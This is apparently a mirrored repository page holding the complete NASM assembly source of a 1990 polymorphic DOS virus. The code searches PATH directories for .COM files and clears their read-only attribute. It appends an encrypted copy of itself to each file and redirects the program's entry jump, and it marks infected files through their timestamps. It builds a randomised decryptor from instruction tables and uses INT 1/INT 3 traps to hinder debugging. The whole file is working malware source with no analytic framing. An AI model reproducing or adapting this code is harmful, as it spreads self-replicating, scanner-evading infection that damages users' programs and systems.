mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
759 lines
23 KiB
NASM
759 lines
23 KiB
NASM
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;
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;
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; Copyright (C) Mark Washburn, 1990. All Rights Reserved
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;
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;
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; Inquires are directed to :
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; Mark Washburn
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; 4656 Polk Street NE
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; Columbia Heights, MN 55421
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; USA
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;
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;
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;
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;
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code segment public 'CODE'
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org 100h
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;
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assume cs:code,ds:code,es:code
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;
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stopdebug equ 1 ; define this for disassembly trap code
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int1vec equ 4
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int3vec equ 12
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;
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dta_ptr equ -4
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file_crea equ -8
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file_attr equ -10
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path_start_ptr equ -12
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file_start_ptr equ -14
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RAND_SEED equ -16
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ptr1 equ -18 ; pointer to start of loop code
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ptr2 equ -20 ; save data_begin pointer
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dat1 equ -22 ; the random code used
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dat2 equ -24 ; the decode length plus random length offset, max_msk
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; to make the decode routine more difficult to detect
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dat3 equ -26 ; the 'necessary crypt code' mask
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;
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IFNDEF stopdebug
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local_stack equ 26
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max_msk equ 0ffh ; this determines the maximum variance of length
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ELSE
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nobugptr equ -28
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oldint3 equ -32
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oldint1 equ -36
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local_stack equ 36
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max_msk equ 0ffh ; this determines the maximum variance of length
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ENDIF
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;
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;
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;
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doscall macro call_type
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ifnb <call_type>
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mov ah, call_type
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endif
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int 21h
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endm
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;
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setloc macro arg1,reg2
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mov [bp + arg1],reg2
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endm
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;
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getloc macro reg1,arg2
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mov reg1,[bp + arg2]
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endm
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;
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setdat macro arg1,reg2
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mov [si + offset arg1 - offset data_begin],reg2
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endm
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;
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getdat macro reg1,arg2
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mov reg1,[si + offset arg2 - offset data_begin]
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endm
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;
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regofs macro reg1,arg2
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mov reg1,si
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add reg1,offset (arg2 - data_begin)
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endm
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;
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NOBUG1 macro
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IFDEF stopdebug
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INT 3
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NOP
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ENDIF
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endm
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;
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nobug2 macro
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IFDEF stopdebug
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INT 3
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ENDIF
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endm
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;
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;
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start:
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jmp entry
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;
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;
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;
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MOV AH,0
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INT 021h ; program code
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; db 600h-6 dup (0)
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; insert utility code here
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;
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entry:
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; space for decode routine
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IFDEF stopdebug
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call precrypt
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db 36 dup (090h) ; calculated length of offset(t41-t10)
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ELSE
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db 39 dup (090h) ; calculated length of offset(t41-t10)
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ENDIF
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;
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; label the start of encoded section
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entry2:
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mov bp,sp ; allocate locals
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sub sp,local_stack
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;
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push cx
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movcmd: ; this label is used to locate the next instruction
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mov dx,offset data_begin
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setloc ptr2,dx ; save - will be modified in 'gencode'
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IFDEF stopdebug
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;
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; save interrupt 1 and 3 vectors
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;
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push ds
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mov ax,0
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push ax
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pop ds
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cli
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mov ax,ds:[int1vec]
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setloc oldint1,ax
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mov ax,ds:[int1vec+2]
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setloc oldint1+2,ax
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mov ax,ds:[int3vec]
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setloc oldint3,ax
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mov ax,ds:[int3vec+2]
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setloc oldint3+2,ax
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sti
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pop ds
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;
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call bugon
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ENDIF
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mov si,dx
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add si,(offset old_code - offset data_begin)
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mov di,0100h
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mov cx,03h
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cld
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repz movsb
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mov si,dx
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doscall 30h ; check DOS version
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cmp al,0
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NOBUG1 ; 0
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jnz cont1 ; DOS > 2.0
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jmp exit
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cont1:
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push es
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doscall 2fh ; get program DTA
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NOBUG1 ; 0
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setloc dta_ptr,bx
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NOBUG1 ; 0
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setloc dta_ptr+2,es
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pop es
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regofs dx,my_dta
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doscall 1ah ; set new DTA
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push es
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push si
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mov es,ds:[02ch] ; environment address
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mov di,0
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loop1:
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pop si
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push si
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add si,(offset path_chars - offset data_begin)
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lodsb
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mov cx,8000h
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repnz scasb
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mov cx,4
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loop2:
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lodsb
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scasb
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jnz loop1
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loop loop2
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pop si
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pop es
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setloc path_start_ptr,di
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mov bx,si
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add si,offset (file_name-data_begin)
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mov di,si
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jmp cont6
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nobug2
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next_path:
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cmp word ptr [bp + path_start_ptr],0
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jnz cont3
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jmp exit2
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nobug2
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cont3:
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push ds
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push si
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mov ds,es:[002ch]
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mov di,si
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mov si,es:[bp+path_start_ptr]
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add di,offset (file_name-data_begin)
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loop3:
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lodsb
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cmp al,';' ; 3bh
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jz cont4
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cmp al,0
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jz cont5
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stosb
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jmp loop3
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nobug2
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cont5:
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mov si,0
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cont4:
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pop bx
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pop ds
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mov [bp+path_start_ptr],si
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cmp ch,0ffh
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jz cont6
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mov al,'\' ; 5ch
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stosb
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cont6:
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mov [bp+file_start_ptr],di
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mov si,bx
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add si,(offset com_search-offset data_begin)
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mov cx,6
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repz movsb
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mov si,bx
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mov ah,04eh
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regofs dx,file_name
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mov cx,3
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doscall
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jmp cont7
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nobug2
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next_file:
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doscall 04fh
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cont7:
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jnb cont8
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jmp next_path
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nobug2
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cont8:
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mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte
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and al,01fh
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cmp al,01fh
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jz next_file
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IFNDEF stopdebug
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cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h
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; file length compared; need 1.5 k spare, see rnd off
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ELSE
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cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h
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ENDIF
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jz next_file ; with virus length
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cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah
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; file to short
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jz next_file
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mov di,[bp+file_start_ptr]
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push si
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add si,offset(my_dta-data_begin+01eh)
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move_name:
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lodsb
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stosb
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cmp al,0
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jnz move_name
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pop si
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mov ax,04300h
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regofs dx,file_name
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doscall
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setloc file_attr,cx
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mov ax,04301h
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and cx,0fffeh
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regofs dx,file_name
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doscall
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mov ax,03d02h
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regofs dx,file_name
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doscall
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jnb cont9
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jmp exit3
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nobug2
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cont9:
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mov bx,ax
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mov ax,05700h
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doscall
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setloc file_crea,cx
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setloc file_crea+2,dx
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cont10:
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mov ah,3fh
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mov cx,3
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regofs dx,old_code
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doscall
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NOBUG1 ; 1
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jb cont98
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NOBUG1
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cmp ax,3
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NOBUG1
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jnz cont98
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NOBUG1
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mov ax,04202h
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NOBUG1 ;1
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mov cx,0
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mov dx,0
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doscall
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jnb cont99
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cont98:
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jmp exit4
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cont99:
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NOBUG1 ; 2
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push bx ; save file handle
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NOBUG1
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mov cx,ax
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push cx
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NOBUG1
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sub ax,3
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NOBUG1
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setdat jump_code+1,ax
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add cx,(offset data_begin-offset entry+0100h)
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NOBUG1
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mov di,si
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NOBUG1
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sub di,offset data_begin-offset movcmd-1
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NOBUG1
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mov [di],cx
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;
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doscall 02ch ; seed the random number generator
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xor dx,cx
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NOBUG1
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setloc rand_seed,dx
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NOBUG1 ; 2
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call random
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NOBUG1 ; 3
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getloc ax,rand_seed
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NOBUG1 ; 3
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and ax,max_msk ; add a random offset to actual length
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NOBUG1 ; 3
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add ax,offset (data_end-entry2) ; set decode length
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NOBUG1 ; 3
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setloc dat2,ax ; save the decode length
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NOBUG1 ; 3
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setdat (t13+1),ax ; set decode length in 'mov cx,xxxx'
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pop cx ; restore the code length of file to be infected
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NOBUG1 ; 3
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add cx,offset (entry2-entry+0100h) ; add the length
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; of uncoded area plus file offset
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setdat (t11+1),cx ; set decode begin in 'mov di,xxxx'
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NOBUG1 ; 3
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call random
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getloc ax,rand_seed
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NOBUG1 ; 3
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setloc dat1,ax ; save this random key in dat1
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setdat (t12+1),ax ; set random key in 'mov ax,xxxx'
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NOBUG1 ; 3
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mov di,si
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NOBUG1 ; 3
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sub di,offset (data_begin-entry)
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NOBUG1 ; 3
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mov bx,si
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add bx,offset (l11-data_begin) ; table L11 address
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mov word ptr [bp+dat3],000000111b ; required routines
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call gen2 ; generate first part of decrypt
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setloc ptr1,di ; save the current counter to resolve 'loop'
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add bx,offset (l21-l11) ; add then next tables' offset
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NOBUG1 ; 3
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mov word ptr [bp+dat3],010000011b ; required plus 'nop'
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NOBUG1 ; 3
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call gen2 ; generate second part of decrypt
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add bx,offset (l31-l21) ; add the next offset
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NOBUG1
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call gen2 ; generate third part of decrypt
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mov cx,2 ; store the loop code
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getloc si,ptr2
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NOBUG1 ; 3
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add si,offset (t40-t10) ; point to the code
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repz movsb ; move the code
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getloc ax,ptr1 ; the loop address pointer
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sub ax,di ; the current address
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dec di ; point to the jump address
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stosb ; resolve the jump
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; fill in the remaining code
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l991:
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getloc cx,ptr2 ; get the data_begin pointer
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sub cx,offset (data_begin-entry2) ; locate last+1 entry
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cmp cx,di ; are we there yet?
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je l992 ; if not then fill some more space
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mov dx,0h ; any code is ok
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call gencode ; generate the code
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jmp l991
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nobug2
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l992:
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getloc si,ptr2 ; restore si to point to data area ;
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push si
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|||
|
|
mov di,si
|
|||
|
|
NOBUG1 ; 4
|
|||
|
|
mov cx,offset(end1-begin1) ; move code
|
|||
|
|
add si,offset(begin1-data_begin)
|
|||
|
|
NOBUG1 ; 4
|
|||
|
|
add di,offset(data_end-data_begin+max_msk) ; add max_msk
|
|||
|
|
mov dx,di ; set subroutine start
|
|||
|
|
repz movsb ; move the code
|
|||
|
|
pop si
|
|||
|
|
pop bx ; restore handle
|
|||
|
|
call setrtn ; find this address
|
|||
|
|
add ax,06h ; <- the number necessary for proper return
|
|||
|
|
push ax
|
|||
|
|
jmp dx ; continue with mask & write code
|
|||
|
|
; continue here after return from mask & write code
|
|||
|
|
NOBUG1 ; 4
|
|||
|
|
jb exit4
|
|||
|
|
cmp ax,offset(data_end-entry)
|
|||
|
|
NOBUG1 ; 4
|
|||
|
|
jnz exit4
|
|||
|
|
mov ax,04200h
|
|||
|
|
mov cx,0
|
|||
|
|
mov dx,0
|
|||
|
|
doscall
|
|||
|
|
jb exit4
|
|||
|
|
mov ah,040h
|
|||
|
|
mov cx,3
|
|||
|
|
NOBUG1 ; 4
|
|||
|
|
regofs dx,jump_code
|
|||
|
|
doscall
|
|||
|
|
exit4:
|
|||
|
|
getloc dx,file_crea+2
|
|||
|
|
getloc cx,file_crea
|
|||
|
|
and cx,0ffe0h
|
|||
|
|
or cx,0001fh
|
|||
|
|
mov ax,05701h
|
|||
|
|
doscall
|
|||
|
|
doscall 03Eh ; close file
|
|||
|
|
exit3:
|
|||
|
|
mov ax,04301h
|
|||
|
|
getloc cx,file_attr
|
|||
|
|
regofs dx,file_name
|
|||
|
|
doscall
|
|||
|
|
exit2:
|
|||
|
|
push ds
|
|||
|
|
getloc dx,dta_ptr
|
|||
|
|
getloc ds,dta_ptr+2
|
|||
|
|
doscall 01ah
|
|||
|
|
pop ds
|
|||
|
|
exit:
|
|||
|
|
pop cx
|
|||
|
|
xor ax,ax
|
|||
|
|
xor bx,bx
|
|||
|
|
xor dx,dx
|
|||
|
|
xor si,si
|
|||
|
|
mov sp,bp ; deallocate locals
|
|||
|
|
mov di,0100h
|
|||
|
|
push di
|
|||
|
|
CALL BUGOFF
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
; common subroutines
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
random proc near
|
|||
|
|
;
|
|||
|
|
getloc cx,rand_seed ; get the seed
|
|||
|
|
xor cx,813Ch ; xor random pattern
|
|||
|
|
add cx,9248h ; add random pattern
|
|||
|
|
ror cx,1 ; rotate
|
|||
|
|
ror cx,1 ; three
|
|||
|
|
ror cx,1 ; times.
|
|||
|
|
setloc rand_seed,cx ; put it back
|
|||
|
|
and cx,7 ; ONLY NEED LOWER 3 BITS
|
|||
|
|
push cx
|
|||
|
|
inc cx
|
|||
|
|
xor ax,ax
|
|||
|
|
stc
|
|||
|
|
rcl ax,cl
|
|||
|
|
pop cx
|
|||
|
|
ret ; return
|
|||
|
|
;
|
|||
|
|
random endp
|
|||
|
|
;
|
|||
|
|
setrtn proc near
|
|||
|
|
;
|
|||
|
|
pop ax ; ret near
|
|||
|
|
push ax
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
setrtn endp
|
|||
|
|
;
|
|||
|
|
gencode proc near
|
|||
|
|
;
|
|||
|
|
l999:
|
|||
|
|
call random
|
|||
|
|
test dx,ax ; has this code been used yet?
|
|||
|
|
jnz l999 ; if this code was generated - try again
|
|||
|
|
or dx,ax ; set the code as used in dx
|
|||
|
|
mov ax,cx ; the look-up index
|
|||
|
|
sal ax,1
|
|||
|
|
push ax
|
|||
|
|
xlat
|
|||
|
|
mov cx,ax ; the count of instructions
|
|||
|
|
pop ax
|
|||
|
|
inc ax
|
|||
|
|
xlat
|
|||
|
|
add ax,[bp+ptr2] ; ax = address of code to be moved
|
|||
|
|
mov si,ax
|
|||
|
|
repz movsb ; move the code into place
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
gencode endp
|
|||
|
|
;
|
|||
|
|
gen2 proc near
|
|||
|
|
;
|
|||
|
|
mov dx,0h ; used code
|
|||
|
|
l990:
|
|||
|
|
call gencode
|
|||
|
|
mov ax,dx ; do we need more code
|
|||
|
|
and ax,[bp+dat3] ; the mask for the required code
|
|||
|
|
cmp ax,[bp+dat3]
|
|||
|
|
jne l990 ; if still need required code - loop again
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
gen2 endp
|
|||
|
|
;
|
|||
|
|
IFDEF stopdebug
|
|||
|
|
doint3:
|
|||
|
|
push bx
|
|||
|
|
mov bx,sp
|
|||
|
|
push ax
|
|||
|
|
push si
|
|||
|
|
mov si,word ptr [bx+02]
|
|||
|
|
inc word ptr [bx+02] ; point to next address
|
|||
|
|
setloc nobugptr,si
|
|||
|
|
lodsb ; get the byte following int 3
|
|||
|
|
xor byte ptr [si],al
|
|||
|
|
mov al,[bx+7] ; set the trap flag
|
|||
|
|
or al,1
|
|||
|
|
mov [bx+7],al
|
|||
|
|
pop si
|
|||
|
|
pop ax
|
|||
|
|
pop bx
|
|||
|
|
iret
|
|||
|
|
;
|
|||
|
|
doint1:
|
|||
|
|
push bx
|
|||
|
|
mov bx,sp
|
|||
|
|
push ax
|
|||
|
|
push si
|
|||
|
|
getloc si,nobugptr
|
|||
|
|
lodsb
|
|||
|
|
xor byte ptr [si],al
|
|||
|
|
mov al,[bx+7] ; clear the trap flag
|
|||
|
|
and al,0feh
|
|||
|
|
mov [bx+7],al
|
|||
|
|
pop si
|
|||
|
|
pop ax
|
|||
|
|
pop bx
|
|||
|
|
bugiret:
|
|||
|
|
iret
|
|||
|
|
;
|
|||
|
|
bugon:
|
|||
|
|
pushf
|
|||
|
|
push ds
|
|||
|
|
push ax
|
|||
|
|
mov ax,0
|
|||
|
|
push ax
|
|||
|
|
pop ds
|
|||
|
|
getloc ax,ptr2
|
|||
|
|
sub ax,offset(data_begin-doint3)
|
|||
|
|
cli
|
|||
|
|
mov ds:[int3vec],ax
|
|||
|
|
getloc ax,ptr2
|
|||
|
|
sub ax,offset(data_begin-doint1)
|
|||
|
|
mov ds:[int1vec],ax
|
|||
|
|
push cs
|
|||
|
|
pop ax
|
|||
|
|
mov ds:[int1vec+2],ax
|
|||
|
|
mov ds:[int3vec+2],ax
|
|||
|
|
sti
|
|||
|
|
pop ax
|
|||
|
|
pop ds
|
|||
|
|
popf
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
bugoff:
|
|||
|
|
pushf
|
|||
|
|
push ds
|
|||
|
|
push ax
|
|||
|
|
mov ax,0
|
|||
|
|
push ax
|
|||
|
|
pop ds
|
|||
|
|
|
|||
|
|
getloc ax,oldint3
|
|||
|
|
cli
|
|||
|
|
mov ds:[int3vec],ax
|
|||
|
|
getloc ax,oldint1
|
|||
|
|
mov ds:[int1vec],ax
|
|||
|
|
getloc ax,oldint1+2
|
|||
|
|
mov ds:[int1vec+2],ax
|
|||
|
|
getloc ax,oldint3+2
|
|||
|
|
mov ds:[int3vec+2],ax
|
|||
|
|
sti
|
|||
|
|
|
|||
|
|
pop ax
|
|||
|
|
pop ds
|
|||
|
|
popf
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
ENDIF
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
; the data area
|
|||
|
|
;
|
|||
|
|
data_begin label near
|
|||
|
|
;
|
|||
|
|
T10 LABEL NEAR
|
|||
|
|
T11: MOV DI,0FFFFH
|
|||
|
|
T12: MOV AX,0FFFFH
|
|||
|
|
T13: MOV CX,0FFFFH
|
|||
|
|
T14: CLC
|
|||
|
|
T15: CLD
|
|||
|
|
T16: INC SI
|
|||
|
|
T17: DEC BX
|
|||
|
|
T18: NOP
|
|||
|
|
T19 LABEL NEAR
|
|||
|
|
;
|
|||
|
|
T20 LABEL NEAR
|
|||
|
|
T21: XOR [DI],AX
|
|||
|
|
T22: XOR [DI],CX
|
|||
|
|
T23: XOR DX,CX
|
|||
|
|
T24: XOR BX,CX
|
|||
|
|
T25: SUB BX,AX
|
|||
|
|
T26: SUB BX,CX
|
|||
|
|
T27: SUB BX,DX
|
|||
|
|
T28: NOP
|
|||
|
|
T29 LABEL NEAR
|
|||
|
|
;
|
|||
|
|
T30 LABEL NEAR
|
|||
|
|
T31: INC AX
|
|||
|
|
T32: INC DI
|
|||
|
|
T33: INC BX
|
|||
|
|
T34: INC SI
|
|||
|
|
T35: INC DX
|
|||
|
|
T36: CLC
|
|||
|
|
T37: DEC BX
|
|||
|
|
T38: NOP
|
|||
|
|
T39 LABEL NEAR
|
|||
|
|
;
|
|||
|
|
T40: LOOP T20
|
|||
|
|
T41 LABEL NEAR
|
|||
|
|
;
|
|||
|
|
L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin)
|
|||
|
|
L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin)
|
|||
|
|
L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin)
|
|||
|
|
L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin)
|
|||
|
|
L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin)
|
|||
|
|
L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin)
|
|||
|
|
L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin)
|
|||
|
|
L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin)
|
|||
|
|
;
|
|||
|
|
L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin)
|
|||
|
|
L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin)
|
|||
|
|
L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin)
|
|||
|
|
L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin)
|
|||
|
|
L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin)
|
|||
|
|
L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin)
|
|||
|
|
L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin)
|
|||
|
|
L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin)
|
|||
|
|
;
|
|||
|
|
L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin)
|
|||
|
|
L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin)
|
|||
|
|
L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin)
|
|||
|
|
L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin)
|
|||
|
|
L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin)
|
|||
|
|
L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin)
|
|||
|
|
L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin)
|
|||
|
|
L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin)
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
; this routine is relocated after the end of data area
|
|||
|
|
; this routine encrypts, writes, and decrypts the virus code
|
|||
|
|
;
|
|||
|
|
begin1:
|
|||
|
|
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
|
|||
|
|
getloc ax,dat1 ; get decode ket
|
|||
|
|
mov di,si ; and set the begin encrypt address
|
|||
|
|
sub di,offset (data_begin-entry2)
|
|||
|
|
call crypt
|
|||
|
|
mov ah,040h
|
|||
|
|
mov cx,offset data_end-offset entry
|
|||
|
|
mov dx,si
|
|||
|
|
sub dx,offset data_begin-offset entry
|
|||
|
|
doscall
|
|||
|
|
pushf ; save the status of the write
|
|||
|
|
push ax
|
|||
|
|
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
|
|||
|
|
getloc ax,dat1
|
|||
|
|
mov di,si
|
|||
|
|
sub di,offset (data_begin-entry2)
|
|||
|
|
call crypt
|
|||
|
|
pop ax ; restore the DOS write's status
|
|||
|
|
popf
|
|||
|
|
ret
|
|||
|
|
;
|
|||
|
|
crypt:
|
|||
|
|
xor [di],ax
|
|||
|
|
xor [di],cx
|
|||
|
|
inc ax
|
|||
|
|
inc di
|
|||
|
|
loop crypt
|
|||
|
|
ret
|
|||
|
|
end1:
|
|||
|
|
;
|
|||
|
|
; global work space and constants
|
|||
|
|
;
|
|||
|
|
old_code: db 090h,090h,090h
|
|||
|
|
jump_code: db 0e9h,0,0
|
|||
|
|
com_search: db '*.COM',0
|
|||
|
|
path_chars: db 'PATH='
|
|||
|
|
file_name: db 40h DUP (0)
|
|||
|
|
my_dta: db 2Bh DUP (0)
|
|||
|
|
db 0,0,0
|
|||
|
|
|
|||
|
|
data_end label near
|
|||
|
|
IFDEF stopdebug
|
|||
|
|
;
|
|||
|
|
scan_bytes db 0CCh,090h
|
|||
|
|
;
|
|||
|
|
precrypt:
|
|||
|
|
mov bp,sp ; allocate locals
|
|||
|
|
sub sp,local_stack
|
|||
|
|
doscall 02ch ; seed the random number generator
|
|||
|
|
xor dx,cx
|
|||
|
|
setloc rand_seed,dx
|
|||
|
|
call random
|
|||
|
|
mov di,offset start
|
|||
|
|
push ds
|
|||
|
|
pop es
|
|||
|
|
lp999:
|
|||
|
|
mov cx,08000h
|
|||
|
|
mov si,offset scan_bytes
|
|||
|
|
lodsb
|
|||
|
|
repnz scasb
|
|||
|
|
cmp cx,0
|
|||
|
|
je done998
|
|||
|
|
cmp di,offset data_end
|
|||
|
|
jge done998
|
|||
|
|
lodsb
|
|||
|
|
scasb
|
|||
|
|
jnz lp999
|
|||
|
|
call random
|
|||
|
|
getloc ax,rand_seed
|
|||
|
|
dec di
|
|||
|
|
mov [di],al
|
|||
|
|
inc di
|
|||
|
|
xor [di],al
|
|||
|
|
inc di ; skip the masked byte
|
|||
|
|
jmp short lp999
|
|||
|
|
done998:
|
|||
|
|
mov sp,bp
|
|||
|
|
ret
|
|||
|
|
ENDIF
|
|||
|
|
|
|||
|
|
code ends
|
|||
|
|
end start
|
|||
|
|
|